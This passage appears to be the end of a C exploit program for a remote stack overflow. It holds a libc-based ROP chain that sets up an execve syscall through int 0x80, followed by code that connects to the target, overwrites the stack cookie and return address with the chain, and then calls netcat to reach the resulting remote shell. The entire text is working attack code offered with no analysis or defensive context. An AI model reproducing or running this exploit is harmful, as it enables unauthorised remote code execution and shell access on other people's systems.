                      POPEAX+LIBC,
                      STACK+LIBC+54,
                      POPECX+LIBC,
                      STACK+LIBC+9,
                      MOVINSTACK+LIBC,
                      POPEAX+LIBC,
                      STACK+LIBC+58,
                      POPECX+LIBC,
                      STACK+LIBC+14,
                      MOVINSTACK+LIBC,
                      POPEAX+LIBC,
                      STACK+LIBC+62,
                      POPECX+LIBC,
                      STACK+LIBC+19,
                      MOVINSTACK+LIBC,
                      POPEAX+LIBC,
                      STACK+LIBC+66,
                      POPECX+LIBC,
                      STACK+LIBC+24,
                      MOVINSTACK+LIBC,
                      XOREAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      INCEAX+LIBC,
                      POPALL+LIBC,
                      STACK+LIBC+40,
                      STACK+LIBC+50,
                      STACK+LIBC,
                      INT80+LIBC};

        sockfd = create_connection(addr);
        FIRST_READ(sockfd, buf);

        memset(buf, DUMMY, cookie_pos);
        memcpy(buf+cookie_pos, &cookie, sizeof(uint32_t));
        memcpy(buf+cookie_pos+sizeof(uint32_t)+saved_eip_pos, ropchain,
sizeof(ropchain));

        printf("send payload (%zu bytes)\n", cookie_pos+sizeof(uint32_t)
+saved_eip_pos+sizeof(ropchain));
        write(sockfd, buf, cookie_pos+sizeof(uint32_t)+saved_eip_pos
+sizeof(ropchain));
        close(sockfd);

        sprintf(cmd, "nc %s %d", inet_ntoa(addr.sin_addr), REMOTE_PORT);
        sleep(1);
        printf("\ngot remote shell !\n\n");
        system(cmd);
}
```